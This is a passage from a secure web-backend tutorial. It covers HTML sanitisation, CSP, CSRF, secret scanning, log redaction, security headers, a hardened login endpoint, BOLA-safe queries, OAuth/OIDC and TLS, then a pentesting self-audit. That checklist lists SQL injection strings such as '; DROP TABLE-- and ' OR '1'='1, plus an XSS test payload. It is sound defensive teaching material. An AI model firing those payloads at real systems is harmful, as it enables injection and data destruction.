type SafeHtml = string & { readonly __brand: 'SafeHtml' }
const CONFIG = {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
} as const
export function sanitiseComment(rawHtml: string): SafeHtml {
return DOMPurify.sanitize(rawHtml, CONFIG) as SafeHtml
}
// render(html: SafeHtml) now cannot be called with req.body.comment,
// which is the mistake this whole section exists to prevent.import org.owasp.html.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;
public final class CommentSanitiser {
// Built once; PolicyFactory is immutable and thread-safe.
private static final PolicyFactory POLICY = new HtmlPolicyBuilder()
.allowElements("p", "b", "i", "em", "strong", "ul", "ol", "li")
.allowElements("a")
.allowAttributes("href").onElements("a")
// Restrict the URL schemes, or href="javascript:..." gets through
.allowUrlProtocols("http", "https", "mailto")
.requireRelNofollowOnLinks()
.toFactory();
public static String sanitise(String rawHtml) {
return POLICY.sanitize(rawHtml);
}
}
// Thymeleaf and JSP escape by default on output, which is the other half
// of the defence. The rule across all five tabs is the same: sanitise on
// the way IN if you must store HTML, and escape on the way OUT always.Content Security Policy (CSP): Last Line of Defence
CSP is an HTTP response header that tells the browser exactly which scripts are allowed to run. Even if an attacker injects a <script> tag, the browser blocks it if it violates the policy.
# Only load scripts from your own domain. Block all inline scripts.
Content-Security-Policy: default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self'
11
CSRF: Cross-Site Request Forgery
CSRF exploits the fact that browsers automatically attach cookies to requests, even when the request originates from a different website. An attacker on evil.com can trigger a request to bank.com and your browser includes your bank.com session cookie.
Mitigations
- SameSite cookie flag:
StrictorLaxblocks cookies from cross-origin requests. Modern browsers default toLax. - CORS configuration: only allow requests from your own frontend domain.
- CSRF tokens: for legacy form-based systems: embed a unique token in every form, verify it server-side.
12
Misconfigurations: Security Holes You Create Yourself
(1) Secrets in Version Control
The most catastrophically common mistake: API keys, database passwords, JWT secrets, or encryption keys committed to Git. Once in commit history, rotating the secret in code doesn’t help, the old value is permanently in git log.
# Install: brew install gitleaks
# .git/hooks/pre-commit
gitleaks protect --staged --no-git -v
# Blocks commit if API keys, passwords, tokens detected in staged files
(2) Debug/Verbose Logs in Production
In development, log level is typically DEBUG, full stack traces, SQL queries, request bodies. In production it must be INFO or WARN. Debug logs in production expose:
- Table names, column names, query structure -> enables targeted SQL injection.
- File paths and function names -> reveals codebase structure.
- User PII accidentally logged -> GDPR violation + breach liability.
debug in development, info in production, and never the request body
import "log/slog"
func setupLogger() {
level := slog.LevelInfo // default: production
if os.Getenv("APP_ENV") == "development" {
level = slog.LevelDebug
}
slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout,
&slog.HandlerOptions{Level: level})))
}import logging
import os
def setup_logger() -> None:
level = logging.INFO # default: production
if os.getenv("APP_ENV") == "development":
level = logging.DEBUG
logging.basicConfig(level=level, format="%(message)s")
# Third-party libraries are the usual leak: SQLAlchemy's engine
# logger prints every query WITH its bound parameters at DEBUG,
# which in production means passwords and tokens in your log
# aggregator. Pin the noisy ones explicitly.
logging.getLogger("sqlalchemy.engine").setLevel(logging.WARNING)
logging.getLogger("httpx").setLevel(logging.WARNING)import pino from 'pino'
export const log = pino({
// default: production
level: process.env.APP_ENV === 'development' ? 'debug' : 'info',
// Redaction is the part that matters here. A debug log of `req` is an
// enormous object, and it contains the Authorization header and the
// password field of the body you were trying to inspect.
redact: [
'req.headers.authorization',
'req.headers.cookie',
'*.password',
'*.token',
'*.apiKey',
],
})import pino, { type Level } from 'pino'
type Env = 'development' | 'staging' | 'production'
const LEVELS: Record<Env, Level> = {
development: 'debug', // everything
staging: 'info',
production: 'info', // never debug in production
}
const env = (process.env.APP_ENV ?? 'production') as Env
// ^ default to the SAFE value. A
// missing variable must not turn
// debug logging on in production.
export const log = pino({
level: LEVELS[env],
redact: ['req.headers.authorization', 'req.headers.cookie',
'*.password', '*.token', '*.apiKey'],
})// Configuration, not code, and driven by the Spring profile:
//
// <configuration>
// <springProfile name="production">
// <root level="INFO"/>
// <!-- These two are the ones that leak. Hibernate's parameter
// binder logs every bound value, which is every password
// you ever hashed and every token you ever stored. -->
// <logger name="org.hibernate.SQL" level="WARN"/>
// <logger name="org.hibernate.orm.jdbc.bind" level="WARN"/>
// <logger name="org.springframework.web" level="WARN"/>
// </springProfile>
//
// <springProfile name="default">
// <root level="DEBUG"/>
// </springProfile>
// </configuration>
// And explicitly OFF in production, because both print request bodies:
// spring.jpa.show-sql: false
// server.error.include-stacktrace: never(3) Security Headers
A single middleware call adds all industry-standard security headers. Every major framework has one:
| Header | Purpose |
|---|---|
Content-Security-Policy | Controls which scripts/resources can run (prevents XSS) |
X-Frame-Options: DENY | Prevents embedding in iframes (prevents clickjacking) |
X-Content-Type-Options: nosniff | Prevents MIME-type sniffing attacks |
Strict-Transport-Security | Forces HTTPS, prevents SSL stripping |
Referrer-Policy | Controls how much referrer info is sent cross-origin |
set them once, in middleware, for every response
import "github.com/go-chi/chi/v5/middleware"
r.Use(middleware.SetHeader("X-Frame-Options", "DENY"))
r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff"))
r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin"))
r.Use(middleware.SetHeader(
"Strict-Transport-Security",
"max-age=63072000; includeSubDomains; preload"))
r.Use(middleware.SetHeader(
"Content-Security-Policy",
"default-src 'self'; script-src 'self'; object-src 'none'"))from starlette.middleware.base import BaseHTTPMiddleware
HEADERS = {
"X-Frame-Options": "DENY",
"X-Content-Type-Options": "nosniff",
"Referrer-Policy": "strict-origin-when-cross-origin",
"Strict-Transport-Security": "max-age=63072000; includeSubDomains; preload",
"Content-Security-Policy": "default-src 'self'; script-src 'self'; object-src 'none'",
}
class SecurityHeaders(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
response = await call_next(request)
response.headers.update(HEADERS)
return response
app.add_middleware(SecurityHeaders)import helmet from 'helmet'
// helmet() sets sensible defaults for all of these and more, in one line
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
objectSrc: ["'none'"],
},
},
strictTransportSecurity: {
maxAge: 63_072_000,
includeSubDomains: true,
preload: true,
},
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}))
// Worth knowing what helmet does NOT do: it will not set HSTS on a
// plain-HTTP response, so behind a proxy you still need
// app.set('trust proxy', 1) for the header to appear at all.import helmet, { type HelmetOptions } from 'helmet'
// Pinning the options in a typed constant means a directive removed by
// a careless edit is visible in review rather than silently absent, and
// a misspelled directive name fails the build.
const SECURITY: HelmetOptions = {
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // no 'unsafe-inline': that voids the CSP
objectSrc: ["'none'"],
frameAncestors: ["'none'"], // the modern X-Frame-Options
},
},
strictTransportSecurity: { maxAge: 63_072_000, includeSubDomains: true, preload: true },
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}
app.use(helmet(SECURITY))
// Roll a CSP out with Content-Security-Policy-Report-Only first. A
// strict policy on an existing app breaks something almost every time,
// and report-only tells you what without taking the site down.// Spring Security sets most of these by DEFAULT the moment it is on the
// classpath: X-Content-Type-Options, X-Frame-Options: DENY, and cache
// control. CSP and HSTS preload are the two you configure yourself.
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http
.headers(headers -> headers
.frameOptions(frame -> frame.deny())
.contentTypeOptions(Customizer.withDefaults())
.referrerPolicy(ref -> ref.policy(
ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN))
.httpStrictTransportSecurity(hsts -> hsts
.maxAgeInSeconds(63_072_000)
.includeSubDomains(true)
.preload(true))
.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'"))
)
.build();
}13
Defence in Depth: No Single Layer Is Enough
“No single defence is perfect. Build in layers. An attacker must bypass all of them simultaneously, which is exponentially harder.”
The Three Questions to Ask at Every Boundary
- Where is data crossing a boundary? (User -> SQL, User -> Shell, User -> HTML)
- What am I assuming about this data? (Is it clean? Is it a valid email? Is it safe?)
- What if those assumptions are wrong? (What does the attacker gain if they violate this assumption?)
If you ask these three questions for every piece of code that handles user input, you will avoid 99% of the vulnerabilities that break real production systems.
14
Secure Patterns Reference
Everything from this chapter, assembled. Read one tab end to end and you have the whole checklist in one place: validate the shape, query with parameters, verify in constant time, answer with a generic error either way, mint the session id from a CSPRNG, and set all three cookie flags.
Complete Secure Login Endpoint
validate, parameterise, verify, generic error, CSPRNG token, flagged cookie
func loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req struct {
Email string `json:"email"`
Password string `json:"password"`
}
json.NewDecoder(r.Body).Decode(&req)
// 1. Validate format (first line of defence)
if !isValidEmail(req.Email) || len(req.Password) < 8 {
http.Error(w, "invalid credentials", 400)
return
}
// 2. Parameterised query, no SQL injection possible
var userID string
var hashedPass string
err := db.QueryRow(ctx,
"SELECT id, password_hash FROM users WHERE email = $1",
req.Email).Scan(&userID, &hashedPass)
// 3. Generic error, never reveal whether email exists
if err != nil || !verifyArgon2(req.Password, hashedPass) {
http.Error(w, "invalid email or password", 401)
return
}
// 4. Cryptographically secure session ID
sessionID := generateSecureToken(32)
// 5. Store session in Redis with metadata
redis.Set(ctx, "session:"+sessionID,
userID, 7*24*time.Hour)
// 6. Secure cookie, HttpOnly, Secure, SameSite=Strict
http.SetCookie(w, &http.Cookie{
Name: "session_id", Value: sessionID,
HttpOnly: true, Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
w.WriteHeader(http.StatusOK)
}
}
func generateSecureToken(n int) string {
b := make([]byte, n)
rand.Read(b) // crypto/rand, not math/rand
return base64.URLEncoding.EncodeToString(b)
}from fastapi import FastAPI, HTTPException, Response
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
import secrets
ph = PasswordHasher(time_cost=1, memory_cost=65536, parallelism=4)
@app.post("/login")
async def login(email: str, password: str, response: Response):
# 1. Parameterised query (psycopg2 / asyncpg)
row = await db.fetchrow(
"SELECT id, password_hash FROM users WHERE email = $1", email
)
# 2. Constant-time verify. Generic error always.
valid = False
if row:
try:
ph.verify(row["password_hash"], password)
valid = True
except VerifyMismatchError:
pass
if not valid:
raise HTTPException(401, "invalid email or password")
# 3. Cryptographically secure session token (32 bytes = 256 bits)
session_id = secrets.token_urlsafe(32)
await redis.set(f"session:{session_id}", row["id"], ex=604800)
# 4. HttpOnly + Secure + SameSite cookie
response.set_cookie(
key="session_id", value=session_id,
httponly=True, secure=True,
samesite="strict", max_age=604800
)
return {"status": "ok"}import { randomBytes } from 'node:crypto'
import argon2 from 'argon2'
app.post('/login', loginLimiter, async (req, res) => {
const { email, password } = req.body ?? {}
// 1. Validate format (first line of defence)
if (typeof email !== 'string' || typeof password !== 'string' ||
!isValidEmail(email) || password.length < 8) {
return res.status(400).json({ error: 'invalid credentials' })
}
// 2. Parameterised query, no SQL injection possible
const { rows } = await db.query(
'SELECT id, password_hash FROM users WHERE email = $1', [email])
const user = rows[0]
// 3. Generic error, never reveal whether the email exists.
// Note the dummy verify: skipping the hash when the user is not
// found returns in 1ms instead of 100ms, and that timing
// difference is a working account-enumeration oracle.
const hash = user?.password_hash ?? DUMMY_HASH
const valid = (await argon2.verify(hash, password)) && user !== undefined
if (!valid) {
return res.status(401).json({ error: 'invalid email or password' })
}
// 4. Cryptographically secure session ID (crypto, never Math.random)
const sessionId = randomBytes(32).toString('base64url')
// 5. Store session in Redis with a TTL
await redis.set(`session:${sessionId}`, user.id, { EX: 7 * 24 * 3600 })
// 6. Secure cookie: HttpOnly, Secure, SameSite=Strict
res.cookie('session_id', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 3600 * 1000,
})
res.sendStatus(200)
})import { randomBytes } from 'node:crypto'
import { z } from 'zod'
import argon2 from 'argon2'
import type { Request, Response } from 'express'
// 1. Validate format as a SCHEMA, so the shape check and the type come
// from one declaration and cannot drift apart.
const LoginBody = z.object({
email: z.string().email(),
password: z.string().min(8),
})
export async function login(req: Request, res: Response): Promise<void> {
const parsed = LoginBody.safeParse(req.body)
if (!parsed.success) {
res.status(400).json({ error: 'invalid credentials' })
return
}
const { email, password } = parsed.data
// 2. Parameterised query, no SQL injection possible
const { rows } = await db.query<{ id: string; password_hash: string }>(
'SELECT id, password_hash FROM users WHERE email = $1', [email])
const user = rows[0]
// 3. Constant-time-ish: always run the hash, so a missing user takes
// the same ~100ms as a wrong password. Generic error either way.
const hash = user?.password_hash ?? DUMMY_HASH
const ok = await argon2.verify(hash, password).catch(() => false)
if (!ok || user === undefined) {
res.status(401).json({ error: 'invalid email or password' })
return
}
// 4. 32 bytes = 256 bits from the CSPRNG. Math.random() is seeded and
// predictable, and a predictable session id is a full account
// takeover, not a theoretical weakness.
const sessionId = randomBytes(32).toString('base64url')
// 5 + 6. Store server-side, hand out only the opaque id
await redis.set(`session:${sessionId}`, user.id, { EX: 7 * 24 * 3600 })
res.cookie('session_id', sessionId, SESSION_COOKIE) // see sec 06
res.sendStatus(200)
}@RestController
class AuthController {
private static final SecureRandom RANDOM = new SecureRandom();
private final JdbcClient db;
private final PasswordEncoder encoder;
private final StringRedisTemplate redis;
@PostMapping("/login")
ResponseEntity<?> login(@Valid @RequestBody LoginRequest req,
HttpServletResponse response) {
// 1. Validate format: @Valid + the record's own constraints did
// it before this method ran. See chapter 05.
// 2. Parameterised query, no SQL injection possible
Optional<UserRow> user = db.sql(
"SELECT id, password_hash FROM users WHERE email = ?")
.param(req.email())
.query(UserRow.class)
.optional();
// 3. Always run the hash, even when the user is absent, so the
// response time does not reveal which emails are registered.
String hash = user.map(UserRow::passwordHash).orElse(DUMMY_HASH);
boolean valid = encoder.matches(req.password(), hash) && user.isPresent();
if (!valid) {
// Generic error, never reveal whether the email exists
return ResponseEntity.status(401)
.body(Map.of("error", "invalid email or password"));
}
// 4. Cryptographically secure session ID. SecureRandom, never
// java.util.Random, whose seed is guessable from two outputs.
byte[] bytes = new byte[32];
RANDOM.nextBytes(bytes);
String sessionId = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
// 5. Store session in Redis with a TTL
redis.opsForValue().set("session:" + sessionId, user.get().id(),
Duration.ofDays(7));
// 6. Secure cookie: HttpOnly, Secure, SameSite=Strict
ResponseCookie cookie = ResponseCookie.from("session_id", sessionId)
.httpOnly(true).secure(true).sameSite("Strict")
.maxAge(Duration.ofDays(7)).path("/")
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
return ResponseEntity.ok().build();
}
}
// Record it, whichever way it went. A failed login that nobody can see
// is a brute-force attempt nobody can alert on.The BOLA-safe query
the ownership check belongs IN the WHERE clause, not after the row comes back
func GetInvoice(ctx context.Context, db *pgxpool.Pool,
invoiceID int64, currentUserID string) (*Invoice, error) {
var inv Invoice
// Ownership check IN the query, not after it. Fetching first and
// comparing afterwards works right up until somebody adds an early
// return, or logs the row, or the comparison is against the wrong
// field. In the WHERE clause it cannot be skipped.
err := db.QueryRow(ctx, `
SELECT id, amount, user_id
FROM invoices
WHERE id = $1 AND user_id = $2`,
invoiceID, currentUserID,
).Scan(&inv.ID, &inv.Amount, &inv.UserID)
if errors.Is(err, pgx.ErrNoRows) {
// 404, not 403. A 403 confirms the invoice EXISTS, which hands
// an attacker a working oracle for enumerating other people's
// ids one request at a time.
return nil, apperr.NotFound("invoice")
}
return &inv, err
}```python title="BOLA-safe DB query"
async def get_invoice(invoice_id: int, current_user_id: int):
# ownership check IN the query, not after
row = await db.fetchrow(
"SELECT * FROM invoices WHERE id=$1 AND user_id=$2",
invoice_id, current_user_id
)
if not row:
# 404, not 403. Don't confirm the invoice exists.
raise HTTPException(404, "invoice not found")
return rowexport async function getInvoice(invoiceId, currentUserId) {
// Ownership check IN the query, not after
const { rows } = await db.query(
'SELECT * FROM invoices WHERE id = $1 AND user_id = $2',
[invoiceId, currentUserId],
)
if (rows.length === 0) {
// 404, not 403. Don't confirm the invoice exists.
throw notFound('invoice')
}
return rows[0]
}
// The currentUserId comes from the SESSION, never from the request. An
// id taken from the body or a query param is not an ownership check at
// all, it is the attacker telling you who to pretend they are.// Making the caller pass the viewer explicitly, as a required argument,
// is the structural version of this rule: a repository method that
// cannot be called without a user id is one nobody can accidentally
// call without the ownership filter.
export async function getInvoice(
invoiceId: number,
currentUserId: string, // required, and it comes from the session
): Promise<Invoice> {
const { rows } = await db.query<Invoice>(
'SELECT id, amount, user_id FROM invoices WHERE id = $1 AND user_id = $2',
[invoiceId, currentUserId],
)
const invoice = rows[0]
if (invoice === undefined) {
// 404, not 403. A 403 confirms the row exists and turns the endpoint
// into an enumeration oracle for other users' invoice ids.
throw notFound('invoice')
}
return invoice
}public Invoice getInvoice(long invoiceId, String currentUserId) {
// Ownership check IN the query, not after
return db.sql("""
SELECT id, amount, user_id
FROM invoices
WHERE id = ? AND user_id = ?
""")
.params(invoiceId, currentUserId)
.query(Invoice.class)
.optional()
// 404, not 403. Don't confirm the invoice exists.
.orElseThrow(() -> new ResponseStatusException(
HttpStatus.NOT_FOUND, "invoice not found"));
}
// With Spring Data, the same rule is expressed in the method name, and
// it is worth preferring for exactly that reason: findById(id) is one
// keystroke away and is the vulnerable version.
// Optional<Invoice> findByIdAndUserId(long id, String userId);
// The currentUserId must come from the SecurityContext, never from the
// request: SecurityContextHolder.getContext().getAuthentication()16
OAuth 2.0 & OIDC: Delegated Authentication
OAuth 2.0 is an authorization framework that allows a third-party application to obtain limited access to a user’s account on another service, without ever seeing the user’s password. OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that adds authentication (who the user is), not just authorization (what they can do).
“Sign in with Google” is OIDC. “Allow this app to read your Google Drive” is OAuth 2.0. In practice, modern auth providers (Clerk, Auth0) combine both.
The Four Roles
| Role | Who It Is | Example |
|---|---|---|
| Resource Owner | The user | Alice |
| Client | Your application | YourSaaS.com |
| Authorization Server | Issues tokens after consent | Google, GitHub, Auth0 |
| Resource Server | API that holds user data | Google Calendar API |
Authorization Code Flow: The Secure Standard
This is the flow used by every serious web application. It keeps tokens off the browser URL bar and exchanges a short-lived code for tokens server-side.
Key Security Rules for OAuth
- Always use PKCE: even for server-side apps. It prevents code interception attacks where an attacker intercepts the
codefrom the redirect URL. - Validate the
stateparameter: generate a random value, store it in the session before redirect, verify it when Google redirects back. This prevents CSRF on the OAuth flow itself. - Never expose
access_tokento the browser: exchange the code server-side and issue your own session cookie. The access token is a credential; treat it like a password. - Link OAuth to existing accounts by email carefully: if a user already has an email+password account and signs in via Google with the same email, you must decide: auto-link (convenient, small risk) or require confirmation. Auto-linking without verification enables account takeover if the OAuth provider is compromised.
- Verify the
aud(audience) claim in the id_token, ensures the token was issued for your app, not another OAuth client using the same provider.
OIDC vs OAuth 2.0: One-Line Difference
| Protocol | Answers | Token |
|---|---|---|
| OAuth 2.0 | “What can this app do?” | Access Token (opaque or JWT) |
| OIDC | “Who is this user?” | ID Token (always JWT with sub, email, iat) |
check the state, exchange the code server-side, then VERIFY the ID token
import (
"github.com/coreos/go-oidc/v3/oidc"
"golang.org/x/oauth2"
)
var (
provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com")
verifier = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")})
oauth2Cfg = &oauth2.Config{
ClientID: os.Getenv("GOOGLE_CLIENT_ID"),
ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"),
RedirectURL: "https://yourapp.com/auth/callback",
Scopes: []string{oidc.ScopeOpenID, "email", "profile"},
Endpoint: provider.Endpoint(),
}
)
func callbackHandler(w http.ResponseWriter, r *http.Request) {
// 1. Verify state matches what we stored in session (CSRF protection)
if r.URL.Query().Get("state") != getSessionState(r) {
http.Error(w, "invalid state", 400); return
}
// 2. Exchange code for tokens (server-to-server)
token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code"))
rawIDToken := token.Extra("id_token").(string)
// 3. Verify ID token signature + aud + exp
idToken, err := verifier.Verify(ctx, rawIDToken)
if err != nil { http.Error(w, "invalid token", 401); return }
// 4. Extract claims
var claims struct { Email string `json:"email"`; Sub string `json:"sub"` }
idToken.Claims(&claims)
// 5. Upsert user in DB, create session, set cookie
userID := upsertUser(claims.Sub, claims.Email)
setSecureSessionCookie(w, userID)
http.Redirect(w, r, "/dashboard", http.StatusFound)
}from authlib.integrations.starlette_client import OAuth
oauth = OAuth()
oauth.register(
name="google",
server_metadata_url="https://accounts.google.com/.well-known/openid-configuration",
client_id=os.environ["GOOGLE_CLIENT_ID"],
client_secret=os.environ["GOOGLE_CLIENT_SECRET"],
client_kwargs={"scope": "openid email profile"},
)
@app.get("/auth/login")
async def login(request: Request):
# authlib generates and stores `state` (and the PKCE verifier) itself
return await oauth.google.authorize_redirect(
request, "https://yourapp.com/auth/callback")
@app.get("/auth/callback")
async def callback(request: Request):
# 1 + 2 + 3. state check, code exchange and ID-token verification
# (signature, iss, aud, exp) all happen inside authorize_access_token.
# Doing any of them by hand is how people get this wrong.
token = await oauth.google.authorize_access_token(request)
# 4. Extract claims
claims = token["userinfo"]
# 5. Upsert user, create session, set cookie
user_id = await upsert_user(claims["sub"], claims["email"])
return set_secure_session_cookie(user_id)import * as client from 'openid-client'
const config = await client.discovery(
new URL('https://accounts.google.com'),
process.env.GOOGLE_CLIENT_ID,
process.env.GOOGLE_CLIENT_SECRET,
)
app.get('/auth/login', async (req, res) => {
const codeVerifier = client.randomPKCECodeVerifier()
const state = client.randomState()
// Both go in the SESSION, never in a cookie the client can edit
req.session.codeVerifier = codeVerifier
req.session.state = state
res.redirect(client.buildAuthorizationUrl(config, {
redirect_uri: 'https://yourapp.com/auth/callback',
scope: 'openid email profile',
state,
code_challenge: await client.calculatePKCECodeChallenge(codeVerifier),
code_challenge_method: 'S256',
}).href)
})
app.get('/auth/callback', async (req, res) => {
// 1, 2 and 3: the library checks state, exchanges the code
// server-to-server, and verifies the ID token's signature, iss, aud
// and exp. Never decode an ID token with jwt.decode() and trust it:
// decoding is not verifying, and an unverified token is attacker input.
const tokens = await client.authorizationCodeGrant(config, new URL(req.url, BASE), {
pkceCodeVerifier: req.session.codeVerifier,
expectedState: req.session.state,
})
// 4. Extract claims
const claims = tokens.claims()
// 5. Upsert user, create session, set cookie
const userId = await upsertUser(claims.sub, claims.email)
setSecureSessionCookie(res, userId)
res.redirect('/dashboard')
})import * as client from 'openid-client'
import type { Request, Response } from 'express'
// Typing the claims you actually rely on is worth doing, because the
// set varies by provider: `email_verified` is present for Google and
// absent for some others, and treating a missing value as "verified"
// lets anyone register an account with someone else's address.
interface IdTokenClaims {
sub: string
email: string
email_verified?: boolean
}
export async function callback(req: Request, res: Response): Promise<void> {
const tokens = await client.authorizationCodeGrant(
config,
new URL(req.url, process.env.BASE_URL!),
{
pkceCodeVerifier: req.session.codeVerifier!,
expectedState: req.session.state!,
},
)
const claims = tokens.claims() as unknown as IdTokenClaims
// `sub` is the stable identifier, NOT the email. An email can be
// changed or reassigned at the provider; keying your user rows on it
// eventually merges two people into one account.
if (claims.email_verified !== true) {
res.status(403).send('email not verified')
return
}
const userId = await upsertUser(claims.sub, claims.email)
setSecureSessionCookie(res, userId)
res.redirect('/dashboard')
}// Spring Security implements the entire Authorization Code flow,
// including state, PKCE and full ID-token validation. The correct
// amount of security code to write here is close to zero.
//
// implementation 'org.springframework.boot:spring-boot-starter-oauth2-client'
//
// spring.security.oauth2.client:
// registration.google:
// client-id: ${GOOGLE_CLIENT_ID}
// client-secret: ${GOOGLE_CLIENT_SECRET}
// scope: openid,email,profile
// provider.google:
// issuer-uri: https://accounts.google.com
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/", "/login/**").permitAll()
.anyRequest().authenticated())
.oauth2Login(oauth -> oauth
.defaultSuccessUrl("/dashboard", true)
.userInfoEndpoint(u -> u.oidcUserService(this::loadUser)))
.build();
}
// The only part worth writing yourself: mapping the verified claims
// onto your own user row.
private OidcUser loadUser(OidcUserRequest request) {
OidcUser oidcUser = new OidcUserService().loadUser(request);
// `sub` is the stable id. Never key your users table on email.
String userId = upsertUser(
oidcUser.getSubject(),
oidcUser.getEmail());
return oidcUser;
}17
HTTPS & TLS Internals
HTTPS is HTTP with a TLS (Transport Layer Security) layer between the TCP connection and your HTTP messages. Everything inside it, headers, body, cookies, tokens, is encrypted in transit. An attacker who intercepts the packets sees only random ciphertext.
Why TLS Matters to a Backend Engineer
- Without HTTPS, session cookies and JWT tokens are stolen by anyone on the same Wi-Fi (Wireshark captures them in plaintext).
- The
Securecookie flag only works over HTTPS, without it, cookies are sent over HTTP too. - HTTP/2 (and HTTP/3) require TLS, no TLS means no performance benefits.
- Search engines penalise HTTP sites; browsers show “Not Secure” warnings.
The TLS Handshake: What Actually Happens
Key Concepts
| Concept | What It Means | Why It Matters |
|---|---|---|
| Certificate | Server’s public key + identity, signed by a CA | Proves you’re talking to the real server, not an impersonator |
| Certificate Authority (CA) | Trusted third party that signs certs (Let’s Encrypt, DigiCert) | Chain of trust: browser trusts CA -> CA vouches for server |
| ECDHE | Elliptic Curve Diffie-Hellman Ephemeral key exchange | Forward secrecy: each session uses a fresh key pair |
| Forward Secrecy | Session keys aren’t stored; can’t decrypt past traffic even with private key | A future key compromise doesn’t expose old sessions |
| HSTS | HTTP Strict Transport Security header | Forces HTTPS for your domain, prevents SSL-stripping attacks |
| TLS 1.3 | Current standard (2018). Dropped weak ciphers from TLS 1.2 | Faster (1-RTT handshake), no known vulnerabilities |
Practical Checklist for Your Backend
- Use Let’s Encrypt (free, auto-renewing) or your cloud provider’s certificate manager.
- Set
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, tells browsers to always use HTTPS for your domain for 2 years. - Redirect all
http://traffic tohttps://at the load balancer / reverse proxy level (nginx, Caddy, Traefik). - Disable TLS 1.0 and TLS 1.1, they have known vulnerabilities (POODLE, BEAST). Only allow TLS 1.2 and TLS 1.3.
- Test your TLS config at ssllabs.com/ssltest, aim for an A+ rating.
# Caddyfile, Caddy automatically obtains and renews Let's Encrypt certs
yourapp.com {
reverse_proxy localhost:8080
# TLS 1.2+ enforced, HSTS set, HTTP redirected, all automatic
}
# nginx equivalent
server {
listen 443 ssl;
ssl_certificate /etc/letsencrypt/live/yourapp.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3; # disable 1.0 and 1.1
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
add_header Strict-Transport-Security "max-age=63072000" always;
}
18
Penetration Testing Mindset: Think Before You Ship
Penetration testing (pentesting) is the practice of attacking your own system the way a real attacker would, before they get the chance. You don’t need to be a professional pentester to apply this mindset. The goal is to build the habit of asking “how would I break this?” before you deploy.
The Attacker’s Methodology (OWASP Testing Guide)
- Reconnaissance: What endpoints exist? What technology stack? What error messages leak? (
nmap, Google dorking, examining JS bundles) - Enumeration: What user IDs exist? What routes? Fuzz with sequential IDs, common paths (
/admin,/.env,/api/v1) - Exploitation: Try injection payloads, bypass auth, escalate privileges
- Post-exploitation: What can be exfiltrated, modified, or destroyed?
Quick Self-Audit Checklist
Before shipping any feature that touches user data or auth, run through these manually or in automated tests:
| Check | What to Test | Tool / Method |
|---|---|---|
| SQL Injection | Put ', '; DROP TABLE--, ' OR '1'='1 in every input field | sqlmap, manual |
| BOLA | Logged in as User A, request User B’s resource IDs | Manual + Burp Suite |
| BFLA | Remove admin cookie/role, try hitting admin endpoints | Manual |
| XSS | Submit <script>alert(1)</script> in every text field | Manual, OWASP ZAP |
| Auth bypass | Remove auth header entirely. Try expired tokens. Try tokens from another user. | Manual |
| Secrets | Search codebase and git history for hardcoded keys | gitleaks, trufflehog |
| Security headers | Check response headers for CSP, HSTS, X-Frame-Options | securityheaders.com |
| Rate limiting | Send 100+ login attempts, check if blocked | curl loop, k6 |
Burp Suite: The Standard Tool
Burp Suite Community Edition (free) is a proxy that sits between your browser and your backend, letting you intercept, modify, and replay every request. It’s the most widely used tool for manual pentesting.
- Intercept: pause a request mid-flight and modify any parameter before it hits your server.
- Repeater: replay a request with different payloads (great for testing injection).
- Intruder: automated fuzzing, try thousands of payloads against a parameter automatically.
- Scanner (Pro only), automated vulnerability scanning.
PortSwigger Web Security Academy: Free Lab-Based Learning
The best free resource for hands-on security practice. Every vulnerability has:
- A clear explanation of the theory
- An interactive lab (real vulnerable web app, in-browser)
- A walkthrough if you get stuck
Start with: SQL Injection -> XSS -> IDOR (BOLA) -> Authentication vulnerabilities -> Access Control. Each module takes 1-3 hours and teaches you more than reading theory alone ever could.
Automated Security Testing in CI/CD
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { fetch-depth: 0 } # full history for secret scanning
# Scan for hardcoded secrets in entire git history
- name: Gitleaks
uses: gitleaks/gitleaks-action@v2
# Static analysis for Go security issues
- name: Gosec
uses: securego/gosec@master
with:
args: ./...
# Dependency vulnerability check
- name: Nancy (Go deps)
run: |
go list -json -m all | nancy sleuth
19
Real Incident Case Studies
Theory lands harder when you see what it cost real companies. These are four of the most instructive security breaches, each one directly caused by a vulnerability covered in this chapter.
(1) Equifax (2017): SQL Injection / Unpatched Dependency
